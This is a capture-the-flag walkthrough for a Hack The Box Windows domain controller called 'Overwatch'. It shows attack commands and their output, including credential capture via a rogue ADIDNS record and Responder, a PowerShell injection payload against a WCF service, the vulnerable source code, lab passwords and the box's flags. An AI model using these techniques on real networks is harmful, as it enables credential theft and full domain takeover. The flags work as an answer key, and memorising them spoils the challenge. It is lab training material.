Skip to content

Overwatch

  • IP: 10.129.244.81 (was 10.129.30.120 — rotated after restart)
  • Difficulty: Medium
  • OS: Windows Server 2022 (build 10.0.20348)
  • Domain: overwatch.htb (NetBIOS: OVERWATCH)
  • DC: S200401.overwatch.htb
  • Status: ✅ COMPLETE — User: 1c74c6b9aff97086b2c7b733945d6799 / Root: 81ae7038a3c84081d764a3df4f49e6fe

Recon

Nmap

Pass 1 — full TCP port discovery

sudo nmap -p- --min-rate 3000 -Pn -oA nmap/overwatchNmapOpenPorts 10.129.30.120

Flags/Notes: - -p- — scan all 65535 TCP ports - --min-rate 3000 — at least 3000 packets/sec; trades stealth for speed (fine on HTB) - -Pn — skip host discovery (treat as up); avoids ICMP rejection skewing results - -oA <prefix> — write all three output formats (.nmap, .gnmap, .xml)

Open ports (21 total): 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 3389, 5985, 6520, 9389, 49664, 49668, 50653, 50669, 52229, 52230

Pass 2 — service/version + default scripts

sudo nmap -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,6520,9389,49664,49668,50653,50669,52229,52230 -sSCV --min-rate=2000 -Pn -oN nmap/overwatchNmapServicesVersions.txt 10.129.30.120

Flags/Notes: - -sS — SYN scan (root required) - -sC — default NSE script set - -sV — service/version detection - -oN — single human-readable output file

Service fingerprint summary:

Port(s) Service Detail
53 DNS Simple DNS Plus
88, 464 Kerberos / kpasswd Server time confirms domain controller
135, 593, 49664+ MSRPC / RPC-over-HTTP Windows RPC endpoints
139, 445 SMB Signing enabled and required (no NTLM relay)
389, 636, 3268, 3269 LDAP / LDAPS / GC / GCSSL Domain: overwatch.htb, Site: Default-First-Site-Name
3389 RDP NTLM info confirmed DC identity
5985 WinRM Microsoft HTTPAPI/2.0
6520 MSSQL 2022 RTM Non-standard port (default 1433) — key unusual surface
9389 ADWS AD Web Services

Key intel from rdp-ntlm-info and ms-sql-ntlm-info: - Target_Name: OVERWATCH - NetBIOS_Computer_Name: S200401 - DNS_Domain_Name: overwatch.htb - DNS_Computer_Name: S200401.overwatch.htb - Product_Version: 10.0.20348 → Windows Server 2022 - clock-skew: -12s (well under Kerberos 5-min tolerance)

Decision: This is a single-DC AD forest with MSSQL running on the DC itself. Three primary attack branches: 1. MSSQL on 6520 — non-standard, likely intended foothold path 2. Anonymous SMB / LDAP enumeration — cheap, surfaces usernames 3. Username discovery → AS-REP roast / Kerberoast / password spray


BBOT

Attempted run:

bbot -t overwatch.htb -p subdomain-enum \
  -c dnsresolve='[10.129.30.120]' modules.dnsbrute.wordlist=/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  --allow-deadly -n overwatch \
  -o /home/b7h30/Documents/obsidian/docs/CTF/HTB/overwatch/bbot

Result: Scan died in 0 seconds with [DNS_NAME_UNRESOLVED] overwatch.htb. No findings.

Root cause: Config key typo — dnsresolve is not a valid BBOT config key; correct path is dns.resolvers. BBOT silently ignored the unknown key and fell back to the system resolver, which can't resolve the HTB internal domain. Also: BBOT does not consult /etc/hosts — it has its own async DNS resolver and only honors dns.resolvers.

Lessons learned (BBOT): - Always verify config with bbot -c <override> --current-config | grep -A2 dns: before kicking off a scan — BBOT silently ignores bogus keys. - BBOT is the wrong primary tool for a pure internal AD box: all passive OSINT modules return nothing for a fake domain like overwatch.htb, and there's no public web surface. Save BBOT for boxes with real domains / web-heavy attack surface. - For internal targets, the only useful BBOT mode is active modules (dnsbrute, httpx, etc.) pointed at the local resolver. Even then, AD-specific tools (nxc, ldapsearch, kerbrute, bloodhound-python) dwarf BBOT in value.

Status: Parked. Returning to AD-native enum.


/etc/hosts

After IP rotation (10.129.30.120 → 10.129.244.81):

sudo sed -i '/overwatch.htb/d' /etc/hosts
echo "10.129.244.81 overwatch.htb OVERWATCH S200401.overwatch.htb S200401" | sudo tee -a /etc/hosts

Lesson: Use hostname (overwatch.htb) in commands going forward; on IP rotation, fix one line in /etc/hosts instead of hunting through scrollback.


SMB null-session enum

nxc smb 10.129.244.81 -u '' -p '' --shares
nxc smb 10.129.244.81 -u '' -p '' -M spider_plus

Flags/Notes: - -u '' -p '' — empty user + password = null SMB session - --shares — list accessible shares - -M spider_plus — recursive share spider module

Output highlights:

SMB  10.129.244.81  445  S200401  Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB  10.129.244.81  445  S200401  [-] Error enumerating shares: STATUS_ACCESS_DENIED

Analysis: - Null Auth: True — anonymous SMB session establishes. Real intel — means LSARPC/SAMR enum paths may still work. - Share list denied (STATUS_ACCESS_DENIED) — Windows Server 2022 default with RestrictAnonymous=1. Share enumeration locked, but other null-auth surfaces remain. - Signing required — NTLM relay against SMB is off the table.

Next: nxc --rid-brute (LSARPC walks RIDs even when SAMR is locked); anonymous LDAP root DSE query.


SMB Guest mapping discovery

After null auth dead-ended on shares, tried authenticated SMB with a junk username to see if Guest mapping was enabled.

nxc smb $IP -u 'theo' -p '' -M spider_plus -o DOWNLOAD_FLAG=True

Flags/Notes: - -u 'theo' -p '' — random username + empty password; if the DC has the Guest account enabled, any unknown user maps to Guest - -M spider_plus — recursive share spider; with DOWNLOAD_FLAG=True it pulls files (default 50KB cap) - -o DOWNLOAD_FLAG=True — module option to actually save discovered files

Output highlights:

SMB  10.129.1.252  445  S200401  [+] overwatch.htb\theo: (Guest)
SMB  10.129.1.252  445  S200401  Share           Permissions
SMB  10.129.1.252  445  S200401  IPC$            READ
SMB  10.129.1.252  445  S200401  software$       READ
SPIDER_PLUS [*] Downloads successful: 4

Analysis: - Guest account is enabled on the DC — overwatch.htb\theo: (Guest) confirms the mapping. This is a real misconfiguration on Windows Server 2022 (Guest is supposed to be disabled by default on DCs). - software$ is a hidden share (the $); only listed after authenticated bind, even as Guest. - 12 files filtered by the 50KB cap — files captured: overwatch.exe, overwatch.exe.config, overwatch.pdb, Microsoft.Management.Infrastructure.dll (all under loot/software$/Monitoring/).

Lesson: Null auth ≠ Guest auth. When --shares fails on null, retry with a junk username — if it lands in Guest, share listing usually opens up.


WCF Monitoring Service config analysis

overwatch.exe.config discovered on software$:

<service name="MonitoringService">
  <host><baseAddresses>
    <add baseAddress="http://overwatch.htb:8000/MonitorService" />
  </baseAddresses></host>
  <endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
  <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
</service>
<behavior>
  <serviceMetadata httpGetEnabled="True" />
  <serviceDebug includeExceptionDetailInFaults="True" />
</behavior>

Analysis: - WCF (Windows Communication Foundation) service — Microsoft's SOAP/RPC framework - New attack surface on port 8000 (not in original nmap — service likely binds only after auth or started later) - basicHttpBinding — no transport security by default - httpGetEnabled="True" — WSDL is fetchable via ?wsdl - mexHttpBinding — MEX metadata exchange exposes the service contract - includeExceptionDetailInFaults="True" — full .NET stack traces leak in error responses - Entity Framework configured for both SQL Server (System.Data.SqlClient) and SQLite (System.Data.SQLite)


Binary analysis & decompilation

file loot/software\$/Monitoring/*
ls -lh loot/software\$/Monitoring/*
File Size Type
overwatch.exe 9.5K PE32+ x86-64 .NET assembly (console)
overwatch.exe.config 2.2K XML config
overwatch.pdb 30K MSVC PDB (debug symbols)
Microsoft.Management.Infrastructure.dll 36K .NET CIM/WMI wrapper library

Microsoft.Management.Infrastructure.dll → the service uses CIM (Common Information Model / modern WMI) to query the host. Hints at process/service enumeration logic.

Strings pass for credentials/connection strings:

strings -n 8 loot/software\$/Monitoring/overwatch.exe \
  | grep -iE 'password|pwd|conn|server=|user id|http|\.htb|sql|secret|key'
Output showed only ADO.NET type names (SqlCommand, SQLiteCommand, connectionString) — no plaintext creds in ASCII strings (would surface as wide/UTF-16 in dnSpy/ilspycmd).

PDB source paths leak the dev environment:

strings loot/software\$/Monitoring/overwatch.pdb | grep -oE '[A-Za-z]:\\[^"]+\.cs' | sort -u
C:\Users\Administrator\source\repos\overwatch\overwatch\IMonitoringService.cs
C:\Users\Administrator\source\repos\overwatch\overwatch\MonitoringService.cs
C:\Users\Administrator\source\repos\overwatch\overwatch\Program.cs
Project was built by Administrator on the dev's machine.

Decompile with ilspycmd:

sudo apt-get install -y dotnet-sdk-10.0 aspnetcore-runtime-10.0
dotnet tool install -g ilspycmd
ilspycmd loot/software\$/Monitoring/overwatch.exe > loot/software\$/overwatch_decompiled.cs

Flags/Notes: - ilspycmd <assembly> — emits decompiled C# to stdout - Redirect to .cs for grep/less workflow - Required installing .NET 10 SDK from packages.microsoft.com (dotnet-sdk-10.0); apt-shipped ilspy fork was not available

Key find in decompiled MonitoringService.cs:

User Id=sqlsvc;Password=TI0LKcfHzZw1Vv

Hardcoded MSSQL credential. Method list discovered on IMonitoringService: StartMonitoring, StopMonitoring, StartProcessWatcher, LogEvent.

Lessons: - Hardcoded connection strings in binaries. Classic OWASP A07. Anyone reading the binary owns the SQL account. - .pdb + .exe on a public share = source-code-equivalent reversibility. Always grab PDBs when present. - strings only catches ASCII/UTF-8 contiguous bytes — many .NET connection strings are UTF-16 / resource-embedded and need a real decompiler to surface.


Foothold

MSSQL connect as sqlsvc

impacket-mssqlclient overwatch/sqlsvc:'TI0LKcfHzZw1Vv'@S200401.overwatch.htb -port 6520 -windows-auth

Flags/Notes: - overwatch/sqlsvc — domain/user format - -port 6520 — non-standard MSSQL port (long form is the documented flag) - -windows-auth — forces NTLM/Kerberos rather than SQL Auth; required because sqlsvc is a domain account, not a SQL login

Result: authenticated as OVERWATCH\sqlsvc. Initial context guest@master; switching DBs:

USE overwatch;
-- prompt becomes: SQL (OVERWATCH\sqlsvc  dbo@overwatch)>

Privilege check (sqlsvc):

Server Role Value
sysadmin 0
securityadmin 0
dbcreator 0

Server permissions: only CONNECT SQL + VIEW ANY DATABASE. Database role on overwatch: dbo.

Credential reuse spray failed for SMB/WinRM/LDAP:

nxc smb   $IP -u sqlsvc -p 'TI0LKcfHzZw1Vv'   # no [+]
nxc winrm $IP -u sqlsvc -p 'TI0LKcfHzZw1Vv'   # no [+]
nxc ldap  $IP -u sqlsvc -p 'TI0LKcfHzZw1Vv'   # no [+]

Why: service accounts often have only SeServiceLogonRight (Log on as a service). Without SeNetworkLogonRight, SMB/WinRM/LDAP reject the account at the logon-rights layer even though the credential is valid. LDAP later confirmed to work via ldapsearch -D 'sqlsvc@overwatch.htb' (required for dnstool.py).

DB enum — discovery of linked server SQL07

Enumeration script db_enum4.sh with one statement per line (impacket-mssqlclient is line-oriented; multi-line statements get split and error out):

impacket-mssqlclient "${USER}:${PASS}@${HOST}" -port "${PORT}" -windows-auth <<'SQL' | tee "${LOG}"
SELECT name, is_data_access_enabled, is_rpc_out_enabled, is_remote_login_enabled FROM sys.servers WHERE is_linked=1;
SELECT * FROM OPENQUERY([SQL07], 'SELECT @@version AS v, @@servername AS s, SYSTEM_USER AS u, IS_SRVROLEMEMBER(''sysadmin'') AS sa');
...
exit
SQL

Key result:

name    is_data_access_enabled   is_rpc_out_enabled   is_remote_login_enabled
SQL07                        1                    1                         1

SQL07 linked server has all three flags enabled — full surface for both OPENQUERY and EXEC (...) AT [SQL07]. But:

[INFO] OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Login timeout expired".
[ERROR] Named Pipes Provider: Could not open a connection to SQL Server [64].

The DC can't resolve SQL07. DNS lookup confirms:

dig @$IP sql07 +short                  # empty
dig @$IP sql07.overwatch.htb +short    # empty

sys.linked_logins returned empty for SQL07 (which we'd later learn means "credential exists but not visible to non-privileged users").

Eventlog table in overwatch DB was empty (0 rows) — Path B (data in Eventlog) was a bust.

Lessons: - impacket-mssqlclient sends each line as a separate SQL statement. No GO batch separator like sqlcmd. Put each statement on a single line, or use -file <queries.sql>. - is_data_access_enabled + is_rpc_out_enabled = full linked-server abuse surface — but only if the link host is reachable. Unreachable host is the cue to do rogue server / DNS poisoning, not a dead end. - sys.linked_logins empty ≠ no stored credential. The stored credential column is hidden from non-privileged callers. The rogue-server attack bypasses the visibility check.

LLMNR/NBT-NS poisoning was off the table

Naive approach: start Responder, fire OPENQUERY, catch the LLMNR/NBT-NS broadcast.

sudo responder -I tun0 -wv   # nothing captured

Why nothing fired: LLMNR is multicast 224.0.0.252 (TTL=1) and NBT-NS is limited broadcast 255.255.255.255 — both link-local. The attacker (10.10.14.0/23 on tun0) and the target (10.129.x.x) are on different subnets routed via the VPN gateway. Routers don't forward multicast/broadcast. The DC's "who is SQL07?" query stays on its own LAN — never reaches us.

Lesson: LLMNR/NBT-NS poisoning requires same-subnet attacker placement. Cross-subnet engagements (typical HTB) require a different name-resolution attack.

ADIDNS dynamic record creation

The DC is its own DNS server with an AD-integrated DNS zone. By default, any authenticated domain user can add records for unused names via Secure Dynamic Updates over GSS-TSIG. sqlsvc is a domain user — even if it's denied SMB/WinRM/LDAP-style logons, it can still bind to LDAP for DNS operations.

Tool: dnstool.py from krbrelayx (installed via apt to /usr/share/krbrelayx/dnstool.py on this Kali).

Query first (verify auth):

dnstool -u 'overwatch\sqlsvc' -p 'TI0LKcfHzZw1Vv' --record 'sql07' --action query 'overwatch.htb'
- Returns "record not found" → clear to add.

Create the rogue A record:

dnstool -u 'overwatch\sqlsvc' -p 'TI0LKcfHzZw1Vv' --action add --record 'SQL07' --data 10.10.14.175 10.129.244.81

Flags/Notes: - -u 'overwatch\sqlsvc' — down-level logon format - --action add — create a new record - --record 'SQL07' — name within the zone (unqualified — dnstool appends the zone) - --data 10.10.14.175 — target IP (attacker's tun0) - positional 10.129.244.81 — the DC (LDAP server we're authenticating against)

Output:

[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[-] Adding new record
[+] LDAP operation completed successfully

Verify propagation:

[+] Found record SQL07
- Type: 1 (A) (Serial: 324)
- Address: 10.10.14.175

The DC's DNS now resolves SQL07 → 10.10.14.175.

Rogue MSSQL listener + cleartext credential capture

With Responder still running (SQL server [ON] in its default config), re-fired OPENQUERY:

SELECT * FROM OPENQUERY([SQL07], 'SELECT @@version');

The DC's SQL Server resolved SQL07 to the attacker IP and connected to Responder's fake MSSQL listener:

[MSSQL] Received connection from 10.129.244.81
[MSSQL] Cleartext Client   : 10.129.244.81
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx

Why plaintext, not NetNTLMv2: the linked server was configured with SQL Authentication (not Windows passthrough). When the DC's SQL Server connects to "SQL07", it ships the SQL login credentials in the TDS login packet — cleartext when the remote doesn't present a validated cert. This is documented but unfixed Microsoft behavior. sys.linked_logins had appeared empty to us only because the credential field is hidden from non-privileged callers — the rogue-server attack exfiltrates it directly.

Captured credential: sqlmgmt : bIhBbzMMnB82yx

Lessons: - ADIDNS dynamic record creation is the cross-subnet equivalent of LLMNR/NBT-NS poisoning. Any authenticated domain user can usually add A records for unused names — dnstool.py from krbrelayx is the tool. - SQL Server linked-server credentials sent IN CLEARTEXT over TDS when the link uses SQL authentication. Documented Microsoft behavior. Rogue MSSQL listener (Responder has one built-in) catches them on the first connection attempt. - A "service account scoped to one service" credential can still bind to LDAP for AD object operations — even when SMB/WinRM/LDAP logon are denied. sqlsvc couldn't nxc winrm but it could dnstool.py add a DNS record.

Credential reuse test — sqlmgmt across all protocols

impacket-mssqlclient sqlmgmt:'bIhBbzMMnB82yx'@$IP -port 6520                        # SQL Auth → FAILED (not a SQL login)
impacket-mssqlclient overwatch/sqlmgmt:'bIhBbzMMnB82yx'@$IP -port 6520 -windows-auth  # → guest@master, sysadmin=0
nxc smb   $IP -u sqlmgmt -p 'bIhBbzMMnB82yx'    # [+] auth OK
nxc winrm $IP -u sqlmgmt -p 'bIhBbzMMnB82yx'    # [+] (Pwn3d!)  ← THE WIN
nxc ldap  $IP -u sqlmgmt -p 'bIhBbzMMnB82yx'    # [+] LDAP bind OK

Result: sqlmgmt is a domain user with BUILTIN\Remote Management Users membership → WinRM Pwn3d.

Lesson: Test a newly-captured credential across every protocol. A credential captured from one context (here: SQL Server TDS) often has a totally different access profile than its source suggests. sqlmgmt failed as a SQL login (not configured) but succeeded for SMB, WinRM admin, and LDAP.

Interactive shell + user.txt

evil-winrm -i $IP -u sqlmgmt -p 'bIhBbzMMnB82yx'
*Evil-WinRM* PS C:\Users\sqlmgmt\Documents> whoami
overwatch\sqlmgmt
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> cat user.txt
1c74c6b9aff97086b2c7b733945d6799

Privilege context (no impersonation primitives — standard local-admin tricks off the table): - Groups: BUILTIN\Remote Management Users, BUILTIN\Pre-Windows 2000 Compatible Access, Domain Users - Privileges: SeMachineAccountPrivilege, SeChangeNotifyPrivilege, SeIncreaseWorkingSetPrivilege


Privilege Escalation

The "left turn" — back to the WCF service we already extracted

After landing the WinRM shell as OVERWATCH\sqlmgmt, standard AD privesc paths came up empty:

Path Result
ACL abuse (BloodHound) No outbound edges from sqlmgmt or sqlsvc
Kerberoast (GetUserSPNs) No entries found! — no SPN-bearing accounts
AS-REP roast (GetNPUsers) No entries found! — no DONT_REQ_PREAUTH accounts
ADCS misconfiguration (certipy-ad find) 0 CAs, 0 templates — ADCS not installed (the lone "issuance policy" was a default schema object, not exploitable)
PowerShell history File doesn't exist
Local artifacts on disk C:\SQL2022\ present but no obvious creds

Consulted 0xdf's writeup for a hint — the privesc primitive turned out to be the WCF Monitoring Service we'd already extracted from software$ during enumeration. We never came back to it after harvesting sqlsvc from its connection string. The decompiled binary contains a method we'd glossed over:

public string KillProcess(string processName)
{
    string text = "Stop-Process -Name " + processName + " -Force";
    ...
    Runspace val = RunspaceFactory.CreateRunspace();
    ...
    Collection<PSObject> collection = val2.Invoke();
    ...
    return stringBuilder.ToString();   // captured output returned to caller
}

PowerShell command injection via unsafe string concatenation. Three properties make this trivially exploitable: 1. processName is concatenated into a PowerShell command with no validation 2. The string runs in a hosted Runspace via Invoke() 3. The captured output is returned to the caller as a string — direct readback, no file shuffle needed

Why the service was reachable from inside but not outside

The service listens on 0.0.0.0:8000 (confirmed via netstat -ano | findstr :8000), but Windows Firewall blocks port 8000 on the external interface. Loopback bypasses the firewall, so http://localhost:8000/MonitorService is fully reachable from inside any shell on the DC.

The listener is owned by PID 4 (the System / kernel process) — that's HTTP.sys, the Windows kernel HTTP listener. WCF self-hosted services register URL reservations with HTTP.sys, which proxies HTTP requests to the user-mode service. Means there's no overwatch service visible in Get-Service, and Get-CimInstance Win32_Service returned Access Denied for sqlmgmt — we couldn't see the service config, but we didn't need to.

Exploitation

Inside evil-winrm:

$proxy = New-WebServiceProxy -Uri "http://localhost:8000/MonitorService?wsdl"
$proxy.KillProcess('x; whoami #')

Flags/Notes: - New-WebServiceProxy -Uri "...?wsdl" — built-in PowerShell cmdlet; fetches the WSDL and generates a typed client object - ?wsdl — query string that asks WCF for the service contract (enabled in the original config: httpGetEnabled="True") - KillProcess('x; whoami #') — injection payload: - x — Stop-Process target (no process by that name; silent failure) - ; — PowerShell statement separator - whoami — our injected command - # — PowerShell comment; neutralizes the trailing -Force from the original concat

Result:

nt authority\system

Service ran as LocalSystem (registered via NSSM per 0xdf's writeup). On a DC, SYSTEM = effective Domain Admin.

Capture root.txt

$proxy.KillProcess('x; type C:\Users\Administrator\Desktop\root.txt #')

Returns:

81ae7038a3c84081d764a3df4f49e6fe


Lessons Learned — Privilege Escalation

  • A service binary acquired at the foothold stage often holds the privesc primitive too. Re-read the decompiled code after every shell upgrade. Methods you skipped past (because they didn't help you get in) might be the bug at the next stage. On this box: KillProcess was visible in the decompile from the moment we got the binary, but we focused only on the connection string and walked past it.
  • A service binding to 0.0.0.0:port ≠ externally reachable. Windows Firewall can block at the host edge even when the service listens on all interfaces. The corollary: don't assume a config-file port is reachable from outside without confirming end-to-end. Conversely, when a service appears "missing" externally but is configured to bind, the loopback path is still wide open from any shell on the box.
  • PID 4 (HTTP.sys) as a port owner means the service is registered as a URL reservation in the kernel. The user-mode service won't appear in Get-Service by the listener's port — kernel routes HTTP requests to the registered process. Don't expect direct service-listener mapping; look for URL ACLs via netsh http show urlacl instead.
  • New-WebServiceProxy is the killer one-liner for WCF/SOAP testing from PowerShell. Parses the WSDL, generates a typed client, methods become callable as $proxy.<MethodName>(args). Saves writing raw SOAP envelopes by hand.
  • PowerShell command injection via ; + #. When a server-side C# / PowerShell host concatenates user input into a command string, the injection payload is always the same shape: <dummy-value>; <your-command> #. # comments out whatever the developer appended after the variable.
  • When stuck, consult 0xdf. Standard enumeration paths (Kerberoast, AS-REP, ACLs, ADCS, BloodHound) being empty across the board on a Medium-difficulty box is a strong signal that the privesc is back-references to earlier-stage artifacts you already have, NOT a new AD primitive. 0xdf's writeup confirmed the WCF angle in 30 seconds of reading and saved hours of wandering.

Lessons Learned

Recon / enumeration - BBOT silently ignores invalid config keys — verify with --current-config before any real scan. - BBOT bypasses /etc/hosts — use dns.resolvers config override for any internal-only target. - BBOT is the wrong tool for pure-AD boxes — strengths are OSINT and web fingerprinting; returns nothing on isolated AD targets with no public domain. - HTB IPs rotate on restart — using the hostname (via /etc/hosts) instead of raw IPs makes recovery a one-line fix. - dig requires @<server> to query a specific resolver. - ldapsearch -s base -b "" — root DSE is queryable without auth and reveals naming contexts for follow-on queries. - MSSQL on a DC at a non-standard port (6520) is a deliberate signal — when something stands out from a normal AD service profile, it's usually the intended path or a major branch.

SMB / share enumeration - Null Auth: True ≠ share access. Share enum can be locked while RID/LSARPC enum still works. - Null auth ≠ Guest auth. When --shares fails on null, retry with a junk username — if it maps to Guest, share listing usually opens up. - Hidden shares ($) hide from net view but not from authenticated callers. Even Guest can list them once authenticated.

Binary / credential extraction - .pdb + .exe on a public share = source-code-equivalent reversibility. Always grab PDBs when present. - strings only catches ASCII/UTF-8 contiguous runs. Many .NET connection strings are UTF-16 or stored as resources — need a real decompiler (ilspycmd / dnSpy). - Hardcoded connection strings in binaries. Classic OWASP A07; trivial to extract.

MSSQL enumeration & abuse - impacket-mssqlclient is line-oriented — each line is sent as one SQL statement. No GO batching. Multi-line statements split and error. One statement per line, or use -file. - Service accounts often have a single logon right. sqlsvc works for MSSQL Windows auth but fails for SMB/WinRM/LDAP — scope of SeServiceLogonRight, not a bad credential. - sys.linked_logins empty ≠ no stored credential. Credential field is hidden from non-privileged callers; rogue server attack bypasses this. - is_data_access_enabled + is_rpc_out_enabled = full linked-server abuse surface (OPENQUERY and EXEC (...) AT). Unreachable link host = rogue server attack cue. - SQL Server linked-server credentials are sent in cleartext over TDS when the link uses SQL Authentication and the remote presents no cert. Documented Microsoft behavior, unfixed for backward compatibility.

AD / cross-subnet attacks - LLMNR/NBT-NS poisoning requires same-subnet attacker placement. Routers don't forward multicast/broadcast. Cross-subnet engagements need a different name-resolution attack. - ADIDNS dynamic record creation is the cross-subnet equivalent. Any authenticated domain user can add A records for unused names via Secure Dynamic Updates over GSS-TSIG. Tool: dnstool.py from krbrelayx. - A service-account credential scoped to one protocol can still bind to LDAP for DNS operations — the dnstool LDAP bind succeeded for sqlsvc despite SMB/WinRM/LDAP logon being denied.


Evidence Index

  • nmap/overwatchNmapOpenPorts.{nmap,gnmap,xml} — full TCP port scan
  • nmap/overwatchNmapServicesVersions.txt — service/version + default scripts
  • bbot/overwatch/output.{txt,csv,json} — failed BBOT run (kept as reference for the lesson)
  • logs/cmd.log / logs/out.log — tmux command + output logs
  • logs/mssql_enum_*.log / logs/mssql_link_*.log — timestamped MSSQL enumeration outputs
  • loot/credentials.md — discovered credentials (OVERWATCH\sqlsvc, OVERWATCH\sqlmgmt)
  • loot/software$/Monitoring/ — overwatch.exe, overwatch.exe.config, overwatch.pdb, Microsoft.Management.Infrastructure.dll
  • loot/software$/overwatch_decompiled.cs — ilspycmd output of overwatch.exe (contains the KillProcess injection sink — re-read this when stuck on privesc)
  • loot/software$/overwatch_exe_strings.txt — filtered strings dump
  • db_enum*.sh — MSSQL enumeration script iterations (db_enum4.sh final)
  • attack-chain.md — full attack chain end-to-end
  • evidence/ — screenshots
  • bloodhound/ — AD enumeration data
  • Flags: user.txt = 1c74c6b9aff97086b2c7b733945d6799 / root.txt = 81ae7038a3c84081d764a3df4f49e6fe